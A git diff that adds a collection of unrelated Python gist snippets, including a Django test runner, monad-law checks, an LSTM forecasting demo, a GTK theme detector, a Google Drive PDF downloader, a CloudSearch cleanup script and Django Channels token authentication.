+      draw.rectangle(((x-box, y-box),(x+box, y+box)), outline=(0,0,0))
+      print ratio
+      print point
+    #yay, the point is actually on the blah
+  
+
+im.show()
+im.save("ScanOut", "PNG")
\ No newline at end of file
diff --git a/hard-gists/945093/._snippet.py b/hard-gists/945093/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/945093/._snippet.py differ
diff --git a/hard-gists/945093/snippet.py b/hard-gists/945093/snippet.py
new file mode 100644
index 00000000..3c792449
--- /dev/null
+++ b/hard-gists/945093/snippet.py
@@ -0,0 +1,20 @@
+from django.test.simple import DjangoTestSuiteRunner
+
+class ByPassableDBDjangoTestSuiteRunner(DjangoTestSuiteRunner):
+
+    def setup_databases(self, **kwargs):
+        from django.db import connections
+        old_names = []
+        mirrors = []
+        for alias in connections:
+            connection = connections[alias]
+            # If the database is a test mirror, redirect it's connection
+            # instead of creating a test database.
+            if connection.settings_dict['TEST_MIRROR']:
+                mirrors.append((alias, connection))
+                mirror_alias = connection.settings_dict['TEST_MIRROR']
+                connections._connections[alias] = connections[mirror_alias]
+            elif connection.settings_dict.get('BYPASS_CREATION','no') == 'no':
+                old_names.append((connection, connection.settings_dict['NAME']))
+                connection.creation.create_test_db(self.verbosity, autoclobber=not self.interactive)
+        return old_names, mirrors
\ No newline at end of file
diff --git a/hard-gists/946582/._snippet.py b/hard-gists/946582/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/946582/._snippet.py differ
diff --git a/hard-gists/946582/snippet.py b/hard-gists/946582/snippet.py
new file mode 100644
index 00000000..75e21f0d
--- /dev/null
+++ b/hard-gists/946582/snippet.py
@@ -0,0 +1,98 @@
+__author__ = 'jpablo'
+
+##
+import operator
+from peak.rules import when, abstract
+
+
+@abstract
+def bind(obj, func):
+    'do something with obj and func'
+
+
+def check_left_identity(val, Monad):
+    return bind(Monad.wrap(val),f) == f(val)
+
+def check_right_identity(m, Monad):
+    return bind(m, Monad.wrap) == m
+
+def check_associativity(m,f,g):
+    return bind(m, lambda x: bind(f(x), g)) == bind(bind(m,f), g)
+
+
+
+class Identity(object):
+
+    def __init__(self,val):
+        self.val = val
+        
+    def __repr__(self):
+        return str(self.val)
+
+    def __eq__(self, other):
+        return self.val == other.val
+
+    @staticmethod
+    def wrap(val):
+        return Identity(val)
+
+
+## bind / pass / >>=
+@when(bind, (Identity,))
+def bind_identity(id,func):
+    return func(id.val)
+
+
+print bind(Identity.wrap(1), lambda x: Identity.wrap(x))
+print bind(Identity.wrap(1), lambda x: Identity.wrap(x+1))
+print bind( Identity.wrap(5), lambda x: bind(Identity.wrap(6), lambda y: Identity.wrap(x+y)))
+
+
+## indentities
+
+def f(x):
+    return Identity(x+1)
+
+def g(y):
+    return Identity(y*5)
+
+m = Identity(2)
+
+
+print check_left_identity(1, Identity)
+print check_right_identity(m, Identity)
+print check_associativity(m,f,g)
+
+
+#### array monad ##########
+
+class ListMonad(list):
+    @staticmethod
+    def wrap(data):
+        return ListMonad([data])
+
+
+def concat(seq):
+    return reduce(operator.add, seq, [])
+
+
+@when(bind, (list,))
+def bind_lst(lst, func):
+    return concat(map(func,lst))
+
+print bind([1,2,3], lambda x: ListMonad.wrap(x+1))
+
+
+def f(x): return ListMonad.wrap(x+1)
+def g(y): return ListMonad.wrap(y*5)
+m = [1,2,3]
+
+print check_left_identity(1, ListMonad)
+print check_right_identity(m, ListMonad)
+print check_associativity(m,f,g)
+
+
+def double(val):
+    return bind(val, lambda x: val.wrap(x*2))
+
+print double(ListMonad([0,1,2]))
diff --git a/hard-gists/946c4d9aa7a74828bc12/._snippet.py b/hard-gists/946c4d9aa7a74828bc12/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/946c4d9aa7a74828bc12/._snippet.py differ
diff --git a/hard-gists/946c4d9aa7a74828bc12/snippet.py b/hard-gists/946c4d9aa7a74828bc12/snippet.py
new file mode 100644
index 00000000..4fb1f400
--- /dev/null
+++ b/hard-gists/946c4d9aa7a74828bc12/snippet.py
@@ -0,0 +1,28 @@
+#!/usr/bin/env python
+
+from boto.cloudsearch2.layer2 import Layer2
+
+import argparse
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--region', help='AWS region', required=True)
+parser.add_argument('--domain', help='CloudSearch domain', required=True)
+args = parser.parse_args()
+
+conn_config = {
+    'region': args.region,
+    'debug': 0
+}
+
+conn = Layer2(**conn_config)
+domain = conn.lookup(args.domain)
+search = domain.get_search_service()
+document_service = domain.get_document_service()
+
+documents_present = True
+while documents_present:
+	all_docs = search.search(q="matchall", parser="structured", size=500)
+	documents_present = len(all_docs) > 0
+	for doc in all_docs:
+		document_service.delete(doc['id'])
+	document_service.commit()
diff --git a/hard-gists/9481236/._snippet.py b/hard-gists/9481236/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9481236/._snippet.py differ
diff --git a/hard-gists/9481236/snippet.py b/hard-gists/9481236/snippet.py
new file mode 100644
index 00000000..e3cbd0ec
--- /dev/null
+++ b/hard-gists/9481236/snippet.py
@@ -0,0 +1,32 @@
+import unittest
+
+from solution import is_happy, happy_primes
+
+class TestHappy(unittest.TestCase):
+    def test_is_happy7(self):
+        self.assertEqual(is_happy(7), True)
+
+    def test_is_happy10(self):
+        self.assertEqual(is_happy(10), True)
+
+    def test_is_happ11(self):
+        self.assertEqual(is_happy(11), False)
+
+    def test_is_happy97(self):
+        self.assertEqual(is_happy(97), True)
+
+
+    def test_is_happy368(self):
+        self.assertEqual(is_happy(368), True)
+
+    def test_is_happy380(self):
+        self.assertEqual(is_happy(380), False)
+
+    def test_happy_primes_63(self):
+        self.assertEqual(happy_primes(range(63,100)), [79,97])
+
+    def test_happy_primes_135(self):
+        self.assertEqual(happy_primes(range(135, 250)), [139, 167, 193, 239])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/hard-gists/9497761/._snippet.py b/hard-gists/9497761/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9497761/._snippet.py differ
diff --git a/hard-gists/9497761/snippet.py b/hard-gists/9497761/snippet.py
new file mode 100644
index 00000000..397f6b20
--- /dev/null
+++ b/hard-gists/9497761/snippet.py
@@ -0,0 +1,33 @@
+import unittest
+
+from solution import is_happy, happy_primes
+
+
+class TestHappyNumbers(unittest.TestCase):
+
+    def test_is_happy_3(self):
+        self.assertEqual(is_happy(3), False)
+
+    def test_is_happy_10(self):
+        self.assertEqual(is_happy(10), True)
+
+    def test_is_happy_negative(self):
+        self.assertEqual(is_happy(-5), False)
+
+    def test_is_happy_zero(self):
+        self.assertEqual(is_happy(0), False)
+
+    def test_happy_primes_from_negative(self):
+        self.assertEqual(happy_primes(range(-5, 25)), [7, 13, 19, 23])
+
+    def test_happy_primes_zero(self):
+        self.assertEqual(happy_primes(range(0)), [])
+
+    def test_happy_primes_negative(self):
+        self.assertEqual(happy_primes(range(-5)), [])
+
+    def test_happy_primes_range(self):
+        self.assertEqual(happy_primes(range(100)), [7, 13, 19, 23, 31, 79, 97])
+
+if __name__ == '__main__':
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/949ba045d1471c03ae7c/._snippet.py b/hard-gists/949ba045d1471c03ae7c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/949ba045d1471c03ae7c/._snippet.py differ
diff --git a/hard-gists/949ba045d1471c03ae7c/snippet.py b/hard-gists/949ba045d1471c03ae7c/snippet.py
new file mode 100644
index 00000000..f228b4e6
--- /dev/null
+++ b/hard-gists/949ba045d1471c03ae7c/snippet.py
@@ -0,0 +1,88 @@
+# Time series forecasting based on multiple time series, including the original one
+# This script is based on the following examples and discussions:
+# https://gist.github.com/lukovkin/1aefa4509e066690b892
+# https://groups.google.com/forum/#!topic/keras-users/9GsDwkSdqBg
+
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+import random
+import theano
+from keras.models import Sequential  
+from keras.layers.core import Dense, Activation, Dense, Dropout
+from keras.layers.recurrent import LSTM, SimpleRNN, GRU
+
+# Generate training data
+#
+# One time series is a COS function, influenced by a separate scale signal time series which is a set of multipliers (aka scales)
+# for the COS function, that changes periodically. Furthermore, to validate that LSTM can spot changes that influence the
+# time series ahead of time (i.e. changes acting as leading indicators), the COS time series is setup to adjusts its scale 
+# with a 25 steps delay after the scale signal time series changes.
+
+length = 3000 # Time series length
+scales = [0.5, 1, 1.5] # By how much the COS function can be scaled
+scale_step = 100 # How frequently to change scale factor
+steps_ahead = 25 # How far ahead scale factor changes before the COS time series scale should change
+
+df = pd.DataFrame(columns=['Series', 'Scale Signal'])
+
+scale_signal = 1 #initial settings
+scale = 1
+
+for i in range(length):
+    if (i + steps_ahead) % scale_step == 0:
+        scale_signal = scales[random.randint(0, 2)]
+    
+    if i % scale_step == 0:
+        scale = scale_signal
+    
+    df.loc[i,'Series'] = np.cos(i/4.0) * scale
+    df.loc[i,'Scale Signal'] = scale_signal
+
+# Prepare and format data for training
+data = df.values
+examples = 200 # how far back to look
+y_examples = 100 # how many steps forward to predict
+nb_samples = len(data) - examples - y_examples
+
+input_list = [np.expand_dims(np.atleast_2d(data[i:examples+i,:]), axis=0) for i in xrange(nb_samples)]
+input_mat = np.concatenate(input_list, axis=0)
+
+# use the tail of the series as the test data
+df_test = pd.DataFrame(df[-examples:])
+
+test_data = df_test.values
+test_input_list = [np.expand_dims(np.atleast_2d(test_data[len(test_data)-examples:len(test_data),:]), axis=0) for i in xrange(1)]
+test_input_mat = np.concatenate(test_input_list, axis=0)
+
+# target - the first column in df dataframe
+target_list = [np.atleast_2d(data[i+examples:examples+i+y_examples,0]) for i in xrange(nb_samples)]
+target_mat = np.concatenate(target_list, axis=0)
+
+# set up model
+features = input_mat.shape[2]
+hidden = 128
+
+model = Sequential()
+model.add(LSTM(hidden, input_shape=(examples, features)))
+model.add(Dropout(.2))
+model.add(Dense(y_examples))
+model.add(Activation('linear'))
+model.compile(loss='mse', optimizer='rmsprop')
+
+# Train
+hist = model.fit(input_mat, target_mat, nb_epoch=100, batch_size=100, validation_split=0.05, show_accuracy=False)
+
+# Get and plot predicted data and the validation loss
+predicted = model.predict(test_input_mat)  
+
+df_val_loss = pd.DataFrame(hist.history['val_loss'])
+df_val_loss.plot()
+
+df_predicted = pd.DataFrame(predicted).T
+df_predicted.columns = ['Predicted']
+
+df_result = pd.concat([df, df_predicted], ignore_index=True)
+df_result.plot()
+
+plt.show()
diff --git a/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/._snippet.py b/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/._snippet.py differ
diff --git a/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/snippet.py b/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/snippet.py
new file mode 100644
index 00000000..68ed9e3e
--- /dev/null
+++ b/hard-gists/94a400a7bce6f8cfc9e7eff87270c9e9/snippet.py
@@ -0,0 +1,28 @@
+from Foundation import NSObject, NSUserDefaults, NSKeyValueObservingOptionNew
+from Foundation import NSRunLoop, NSDate
+
+
+class PrefsObserver(NSObject):
+    def observe(self, domain, key):
+        self.domain = domain
+        self.key = key
+        if self:
+            self.defaults = NSUserDefaults.alloc().initWithSuiteName_(
+                self.domain)
+            self.defaults.addObserver_forKeyPath_options_context_(
+                self, self.key, NSKeyValueObservingOptionNew, None)
+        return self
+
+    def __del__(self):
+        self.defaults.removeObserver_forKeyPath_(self, self.key)
+
+    def observeValueForKeyPath_ofObject_change_context_(
+            self, keyPath, object, change, context):
+        print change
+
+
+observer = PrefsObserver.alloc().init().observe(
+    'ManagedInstalls', 'LastCheckDate')
+while True:
+    NSRunLoop.currentRunLoop(
+        ).runUntilDate_(NSDate.dateWithTimeIntervalSinceNow_(0.3))
\ No newline at end of file
diff --git a/hard-gists/94d747fe5180851196eb/._snippet.py b/hard-gists/94d747fe5180851196eb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/94d747fe5180851196eb/._snippet.py differ
diff --git a/hard-gists/94d747fe5180851196eb/snippet.py b/hard-gists/94d747fe5180851196eb/snippet.py
new file mode 100644
index 00000000..597017c1
--- /dev/null
+++ b/hard-gists/94d747fe5180851196eb/snippet.py
@@ -0,0 +1,52 @@
+import yaml
+from yaml.constructor import ConstructorError
+
+try:
+    from yaml import CLoader as Loader
+except ImportError:
+    from yaml import Loader
+
+
+def no_duplicates_constructor(loader, node, deep=False):
+    """Check for duplicate keys."""
+
+    mapping = {}
+    for key_node, value_node in node.value:
+        key = loader.construct_object(key_node, deep=deep)
+        value = loader.construct_object(value_node, deep=deep)
+        if key in mapping:
+            raise ConstructorError("while constructing a mapping", node.start_mark,
+                                   "found duplicate key (%s)" % key, key_node.start_mark)
+        mapping[key] = value
+
+    return loader.construct_mapping(node, deep)
+
+yaml.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, no_duplicates_constructor)
+
+# Works fine (no duplicate keys)
+yaml_data = yaml.load('''
+---
+foo: bar
+baz: qux
+'''
+)
+
+# Works fine (no duplicate keys on the same level)
+yaml_data = yaml.load('''
+---
+foo:
+    bar: baz
+    baz: qux
+bar:
+    bar: baz
+    baz: qux
+'''
+)
+
+# Raises exception (has duplicate keys)
+yaml_data = yaml.load('''
+---
+foo: bar
+foo: qux
+'''
+)
diff --git a/hard-gists/94e623123f20566d158569a2ef3b25a2/._snippet.py b/hard-gists/94e623123f20566d158569a2ef3b25a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/94e623123f20566d158569a2ef3b25a2/._snippet.py differ
diff --git a/hard-gists/94e623123f20566d158569a2ef3b25a2/snippet.py b/hard-gists/94e623123f20566d158569a2ef3b25a2/snippet.py
new file mode 100644
index 00000000..5e50818d
--- /dev/null
+++ b/hard-gists/94e623123f20566d158569a2ef3b25a2/snippet.py
@@ -0,0 +1,163 @@
+#!/usr/bin/python3
+# -*- coding: iso-8859-1 -*-
+#    Yum Exteder (yumex) - A GUI for yum
+#    Copyright (C) 2013 Tim Lauridsen < timlau<AT>fedoraproject<DOT>org >
+#
+#    This program is free software; you can redistribute it and/or modify
+#    it under the terms of the GNU General Public License as published by
+#    the Free Software Foundation; either version 2 of the License, or
+#    (at your option) any later version.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU General Public License for more details.
+#
+#    You should have received a copy of the GNU General Public License
+#    along with this program; if not, write to
+#    the Free Software Foundation, Inc.,
+#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+"""
+    This module serves to detect themes and auto-adjust custom colors to have
+    enough, but not too much, contrast.
+"""
+
+
+from gi.repository import Gtk
+
+import logging
+import os
+
+logger = logging.getLogger('yumex.misc')
+
+
+class ThemeDetector:
+    """
+        This class is used to detect themes.
+    """
+    theme_dark = False
+
+    def __init__(self):
+        self.theme_dark = ThemeDetector._detect_theme()
+
+    def _detect_from_env():
+        """
+            Environment variables have priority over GtkSettings, see
+            https://developer.gnome.org/gtk3/stable/gtk-running.html .
+            Since Gtk+ devs don't want this to be implemented in Gtk+, we have
+            to do this dirty workaround.
+            See https://bugzilla.gnome.org/show_bug.cgi?id=748985
+        """
+        env = os.environ
+        if env.get('GTK_THEME') is not None:
+            env_gtk_theme = env['GTK_THEME']
+            if env_gtk_theme.endswith(':dark'):
+                logger.debug('Detected dark theme variant from environment.')
+                return True
+            elif env_gtk_theme.endswith(':light'):
+                logger.debug('Detected light theme variant from environment.')
+                return False
+        return None
+
+    def _calculate_contrast(foreground, background):
+        """
+            Calculate contrast of colors.
+            Returns a positive number if font is dark on light background.
+            abs(contrast) indicates the contrast intensity. Should be > 1 for
+            readability.
+        """
+        contrast = background.red - foreground.red \
+            + background.green - foreground.green \
+            + background.blue - foreground.blue
+        return contrast
+
+    def _detect_from_widget():
+        """
+            Create a GtkWidget and from it detect whether a light (False) or
+            dark (True) theme is used. This is a guessing game.
+            Gtk+ might be using a theme that is dark but doesn't specify this in
+            its variant or doesn't have a variant.
+        """
+        window = Gtk.Window()
+        stc = window.get_style_context()
+        foreground = stc.get_color(Gtk.StateFlags.NORMAL)
+        background = stc.get_background_color(Gtk.StateFlags.NORMAL)
+        contrast = ThemeDetector._calculate_contrast(foreground, background)
+        if contrast > 1:
+            logger.debug('Guessed light theme from widget.')
+            return False
+        elif contrast < -1:
+            logger.debug('Guessed dark theme from widget.')
+            return True
+        else:
+            logger.debug('Unable to guess theme brightness from widget.')
+            return None
+
+    def _detect_theme():
+        """
+            Tries to detect or guess whether the theme is dark (True) or light
+            (False).
+        """
+        theme_dark = ThemeDetector._detect_from_env()
+        if theme_dark is not None:
+            return theme_dark
+
+        gtk_settings = Gtk.Settings.get_default()
+        if gtk_settings is not None:
+            if gtk_settings.get_property('gtk-theme-name') == 'Adwaita':
+                logger.debug('Detected theme Adwaita from GtkSettings.')
+                return gtk_settings.get_property('gtk-application-prefer-dark-theme')
+
+        theme_dark = ThemeDetector._detect_from_widget()
+        if theme_dark is not None:
+            return theme_dark
+
+        # Rely on GtkSettings anyway and hope they are right
+        if gtk_settings is not None:
+            logger.debug('Detected theme from GtkSettings.')
+            return gtk_settings.get_property('gtk-application-prefer-dark-theme')
+
+        # Default to light theme, we don't know any better.
+        return False
+
+
+def __test():
+    "For testing purposes, not for public use."
+
+    import gi
+    gi.require_version('Gtk', '3.0')
+    from gi.repository import Gdk
+
+    os.environ.pop('GTK_THEME')
+    assert ThemeDetector._detect_from_env() is None
+
+    os.environ['GTK_THEME'] = 'Adwaita:dark'
+    assert ThemeDetector._detect_from_env()
+
+    os.environ['GTK_THEME'] = 'Adwaita:light'
+    assert not ThemeDetector._detect_from_env()
+
+    os.environ['GTK_THEME'] = 'Adwaita:foo'
+    assert ThemeDetector._detect_from_env() is None
+
+    os.environ['GTK_THEME'] = 'Foobar'
+    assert ThemeDetector._detect_from_env() is None
+
+    #assert ThemeDetector._detect_from_widget() == True
+    # note: one can only test _detect_from_widget once per process.
+    #assert ThemeDetector._detect_from_widget() == False
+
+    os.environ.pop('GTK_THEME')
+    assert ThemeDetector._detect_from_env() is None
+    assert ThemeDetector._detect_from_widget() is True
+
+    foreground = Gdk.RGBA()
+    Gdk.RGBA.parse(foreground, "rgb(148,151,150)")
+    background = Gdk.RGBA()
+    Gdk.RGBA.parse(background, "rgb(57,63,63)")
+    assert ThemeDetector._calculate_contrast(foreground, background) < -1
+    assert ThemeDetector._calculate_contrast(foreground, foreground) == 0
+
+
+__test()
diff --git a/hard-gists/9502024/._snippet.py b/hard-gists/9502024/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9502024/._snippet.py differ
diff --git a/hard-gists/9502024/snippet.py b/hard-gists/9502024/snippet.py
new file mode 100644
index 00000000..b9207fe0
--- /dev/null
+++ b/hard-gists/9502024/snippet.py
@@ -0,0 +1,24 @@
+import StringIO
+from selenium import webdriver
+from PIL import Image
+ 
+ 
+# Install instructions
+#
+# npm install phantomjs
+# sudo apt-get install libjpeg-dev
+# pip install selenium pillow
+ 
+ 
+driver = webdriver.PhantomJS(executable_path="node_modules/phantomjs/bin/phantomjs")
+driver.set_window_size(1366, 728) # optional
+driver.get('http://google.com')
+driver.save_screenshot('screen_hires.png')
+ 
+screen = driver.get_screenshot_as_png()
+ 
+# Crop it back to the window size (it may be taller)
+box = (0, 0, 1366, 728)
+im = Image.open(StringIO.StringIO(screen))
+region = im.crop(box)
+region.save('screen_lores.jpg', 'JPEG', optimize=True, quality=95)
\ No newline at end of file
diff --git a/hard-gists/9507070/._snippet.py b/hard-gists/9507070/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9507070/._snippet.py differ
diff --git a/hard-gists/9507070/snippet.py b/hard-gists/9507070/snippet.py
new file mode 100644
index 00000000..7785d27b
--- /dev/null
+++ b/hard-gists/9507070/snippet.py
@@ -0,0 +1,85 @@
+# -*- encoding: UTF-8 -*-
+
+import os
+import httplib2
+
+# pip install --upgrade google-api-python-client
+from oauth2client.file import Storage
+from apiclient.discovery import build
+from oauth2client.client import OAuth2WebServerFlow
+
+# Copy your credentials from the console
+# https://console.developers.google.com
+CLIENT_ID = 'xxxxxx'
+CLIENT_SECRET = 'yyyyyyyy'
+
+
+OAUTH_SCOPE = 'https://www.googleapis.com/auth/drive'
+REDIRECT_URI = 'urn:ietf:wg:oauth:2.0:oob'
+OUT_PATH = os.path.join(os.path.dirname(__file__), 'out')
+CREDS_FILE = os.path.join(os.path.dirname(__file__), 'credentials.json')
+
+if not os.path.exist(OUT_PATH):
+    os.makedirs(OUT_PATH)
+
+storage = Storage(CREDS_FILE)
+credentials = storage.get()
+
+if credentials is None:
+    # Run through the OAuth flow and retrieve credentials
+    flow = OAuth2WebServerFlow(CLIENT_ID, CLIENT_SECRET, OAUTH_SCOPE, REDIRECT_URI)
+    authorize_url = flow.step1_get_authorize_url()
+    print 'Go to the following link in your browser: ' + authorize_url
+    code = raw_input('Enter verification code: ').strip()
+    credentials = flow.step2_exchange(code)
+    storage.put(credentials)
+
+
+# Create an httplib2.Http object and authorize it with our credentials
+http = httplib2.Http()
+http = credentials.authorize(http)
+
+drive_service = build('drive', 'v2', http=http)
+
+def list_files(service):
+    page_token = None
+    while True:
+        param = {}
+        if page_token:
+            param['pageToken'] = page_token
+        files = service.files().list(**param).execute()
+        for item in files['items']:
+            yield item
+        page_token = files.get('nextPageToken')
+        if not page_token:
+            break
+
+
+for item in list_files(drive_service):
+    if item.get('title').upper().startswith('OFFER'):
+        outfile = os.path.join(OUT_PATH, '%s.pdf' % item['title'])
+        download_url = None
+        if 'exportLinks' in item and 'application/pdf' in item['exportLinks']:
+            download_url = item['exportLinks']['application/pdf']
+        elif 'downloadUrl' in item:
+            download_url = item['downloadUrl']
+        else:
+            print 'ERROR getting %s' % item.get('title')
+            print item
+            print dir(item)
+        if download_url:
+            print "downloading %s" % item.get('title')
+            resp, content = drive_service._http.request(download_url)
+            if resp.status == 200:
+                if os.path.isfile(outfile):
+                    print "ERROR, %s already exist" % outfile
+                else:
+                    with open(outfile, 'wb') as f:
+                        f.write(content)
+                    print "OK"
+            else:
+                print 'ERROR downloading %s' % item.get('title')
+
+
+
+
diff --git a/hard-gists/950bbb9d9d4014d893e5/._snippet.py b/hard-gists/950bbb9d9d4014d893e5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/950bbb9d9d4014d893e5/._snippet.py differ
diff --git a/hard-gists/950bbb9d9d4014d893e5/snippet.py b/hard-gists/950bbb9d9d4014d893e5/snippet.py
new file mode 100644
index 00000000..9ce3707b
--- /dev/null
+++ b/hard-gists/950bbb9d9d4014d893e5/snippet.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+## Module infomation ###
+# Python (3.4.4)
+# numpy (1.10.2)
+# PyAudio (0.2.9)
+# matplotlib (1.5.1)
+# All 32bit edition
+########################
+
+import numpy as np
+import pyaudio
+
+import matplotlib.pyplot as plt
+
+class SpectrumAnalyzer:
+    FORMAT = pyaudio.paFloat32
+    CHANNELS = 1
+    RATE = 16000
+    CHUNK = 512
+    START = 0
+    N = 512
+
+    wave_x = 0
+    wave_y = 0
+    spec_x = 0
+    spec_y = 0
+    data = []
+
+    def __init__(self):
+        self.pa = pyaudio.PyAudio()
+        self.stream = self.pa.open(format = self.FORMAT,
+            channels = self.CHANNELS, 
+            rate = self.RATE, 
+            input = True,
+            output = False,
+            frames_per_buffer = self.CHUNK)
+        # Main loop
+        self.loop()
+
+    def loop(self):
+        try:
+            while True :
+                self.data = self.audioinput()
+                self.fft()
+                self.graphplot()
+
+        except KeyboardInterrupt:
+            self.pa.close()
+
+        print("End...")
+
+    def audioinput(self):
+        ret = self.stream.read(self.CHUNK)
+        ret = np.fromstring(ret, np.float32)
+        return ret
+
+    def fft(self):
+        self.wave_x = range(self.START, self.START + self.N)
+        self.wave_y = self.data[self.START:self.START + self.N]
+        self.spec_x = np.fft.fftfreq(self.N, d = 1.0 / self.RATE)  
+        y = np.fft.fft(self.data[self.START:self.START + self.N])    
+        self.spec_y = [np.sqrt(c.real ** 2 + c.imag ** 2) for c in y]
+
+    def graphplot(self):
+        plt.clf()
+        # wave
+        plt.subplot(311)
+        plt.plot(self.wave_x, self.wave_y)
+        plt.axis([self.START, self.START + self.N, -0.5, 0.5])
+        plt.xlabel("time [sample]")
+        plt.ylabel("amplitude")
+        #Spectrum
+        plt.subplot(312)
+        plt.plot(self.spec_x, self.spec_y, marker= 'o', linestyle='-')
+        plt.axis([0, self.RATE / 2, 0, 50])
+        plt.xlabel("frequency [Hz]")
+        plt.ylabel("amplitude spectrum")
+        #Pause
+        plt.pause(.01)
+
+if __name__ == "__main__":
+    spec = SpectrumAnalyzer()
+    
\ No newline at end of file
diff --git a/hard-gists/9542707/._snippet.py b/hard-gists/9542707/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9542707/._snippet.py differ
diff --git a/hard-gists/9542707/snippet.py b/hard-gists/9542707/snippet.py
new file mode 100644
index 00000000..2ce2e351
--- /dev/null
+++ b/hard-gists/9542707/snippet.py
@@ -0,0 +1,30 @@
+# Python http.server that sets Access-Control-Allow-Origin header.
+# https://gist.github.com/razor-x/9542707
+
+import os
+import sys
+import http.server
+import socketserver
+
+PORT = 8000
+
+class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
+    def end_headers(self):
+        self.send_header('Access-Control-Allow-Origin', '*')
+        http.server.SimpleHTTPRequestHandler.end_headers(self)
+
+def server(port):
+    httpd = socketserver.TCPServer(('', port), HTTPRequestHandler)
+    return httpd
+
+if __name__ == "__main__":
+    port = PORT
+    httpd = server(port)
+    try:
+        os.chdir('build')
+        print("\nserving from build/ at localhost:" + str(port))
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        print("\n...shutting down http server")
+        httpd.shutdown()
+        sys.exit()
diff --git a/hard-gists/9574251b3c7eefccd84fc38905110ce4/._snippet.py b/hard-gists/9574251b3c7eefccd84fc38905110ce4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9574251b3c7eefccd84fc38905110ce4/._snippet.py differ
diff --git a/hard-gists/9574251b3c7eefccd84fc38905110ce4/snippet.py b/hard-gists/9574251b3c7eefccd84fc38905110ce4/snippet.py
new file mode 100644
index 00000000..3d4f6af8
--- /dev/null
+++ b/hard-gists/9574251b3c7eefccd84fc38905110ce4/snippet.py
@@ -0,0 +1,101 @@
+import functools
+
+from channels.handler import AsgiRequest
+from rest_framework.exceptions import AuthenticationFailed
+from rest_framework.settings import api_settings
+
+
+authenticators = [auth() for auth in api_settings.DEFAULT_AUTHENTICATION_CLASSES]
+
+
+def rest_auth(func):
+    """
+    Wraps a HTTP or WebSocket connect consumer (or any consumer of messages
+    that provides a "cookies" or "get" attribute) to provide a "http_session"
+    attribute that behaves like request.session; that is, it's hung off of
+    a per-user session key that is saved in a cookie or passed as the
+    "session_key" GET parameter.
+
+    It won't automatically create and set a session cookie for users who
+    don't have one - that's what SessionMiddleware is for, this is a simpler
+    read-only version for more low-level code.
+
+    If a message does not have a session we can inflate, the "session" attribute
+    will be None, rather than an empty session you can write to.
+
+    Does not allow a new session to be set; that must be done via a view. This
+    is only an accessor for any existing session.
+    """
+    @functools.wraps(func)
+    def inner(message, *args, **kwargs):
+        # Make sure there's NOT a http_session already
+        try:
+            # We want to parse the WebSocket (or similar HTTP-lite) message
+            # to get cookies and GET, but we need to add in a few things that
+            # might not have been there.
+            if "method" not in message.content:
+                message.content['method'] = "FAKE"
+            request = AsgiRequest(message)
+
+        except Exception as e:
+            raise ValueError("Cannot parse HTTP message - are you sure this is a HTTP consumer? %s" % e)
+        # Make sure there's a session key
+        user = None
+        auth = None
+        auth_token = request.GET.get("token", None)
+
+        if auth_token:
+            # comptatibility with rest framework
+            request._request = {}
+            request.META["HTTP_AUTHORIZATION"] = "token {}".format(auth_token)
+            for authenticator in authenticators:
+                try:
+                    user_auth_tuple = authenticator.authenticate(request)
+                except AuthenticationFailed:
+                    pass
+
+                if user_auth_tuple is not None:
+                    message._authenticator = authenticator
+                    user, auth = user_auth_tuple
+                    break
+        message.user, message.auth = user, auth
+        # Make sure there's a session key
+        # Run the consumer
+        result = func(message, *args, **kwargs)
+        return result
+    return inner
+
+
+def rest_token_user(func):
+    """
+saf    Wraps a HTTP or WebSocket consumer (or any consumer of messages
+    that provides a "COOKIES" attribute) to provide both a "session"
+    attribute and a "user" attibute, like AuthMiddleware does.
+
+    This runs http_session() to get a session to hook auth off of.
+    If the user does not have a session cookie set, both "session"
+    and "user" will be None.
+    """
+    @rest_auth
+    @functools.wraps(func)
+    def inner(message, *args, **kwargs):
+        # If we didn't get a session, then we don't get a user
+        if not hasattr(message, "auth"):
+            raise ValueError("Did not see a http session to get auth from")
+        return func(message, *args, **kwargs)
+    return inner
+
+
+class RestTokenConsumerMixin(object):
+    rest_user = False
+
+    def get_handler(self, message, **kwargs):
+        handler = super(RestTokenConsumerMixin, self).get_handler(message, **kwargs)
+        if self.rest_user:
+            handler = rest_token_user(handler)
+        return handler
+
+    def connect(self, message, **kwargs):
+        if self.rest_user and not self.message.user:
+            self.close()
+        return message
